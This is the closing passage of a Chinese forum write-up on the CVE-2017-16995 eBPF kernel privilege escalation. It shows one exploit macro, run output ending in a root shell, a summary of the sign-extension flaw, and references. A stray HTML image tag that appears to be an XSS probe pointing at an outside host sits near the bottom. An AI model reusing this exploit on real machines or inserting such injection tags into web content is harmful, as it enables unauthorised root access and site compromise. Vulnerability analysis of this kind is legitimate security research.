    #define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)
    
    #endif

    运行的效果如下

    ~ $ /exp                                                   
    [ x]  insns                : 0x148                         
    mapfd finished                                             
    progfd finish                                              
    socketpair finished                                        
    pwning                                                     
    [lx]  fpsome               : 0xffff8800001b7cc0            
    task_struct = ffff88000d002e00                             
    uidptr = ffff88000dc11f04                                  
    spawning root shell                                        
    /home/pwn # id                                             
    uid=0(root) gid=0 groups=1000                              
    /home/pwn #                        

    小结

    cve-2017-16995 就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的 ebpf 还是刚刚起步,代码还很少,后面的添加了很多的新特性。检查的时候的优化也是也是一个不错的利用点。

    reference

    https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3

    http://p4nda.top/2019/01/18/CVE-2017-16995



    <img sRC=//xs.sb/i6EG/xss.jpg>
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册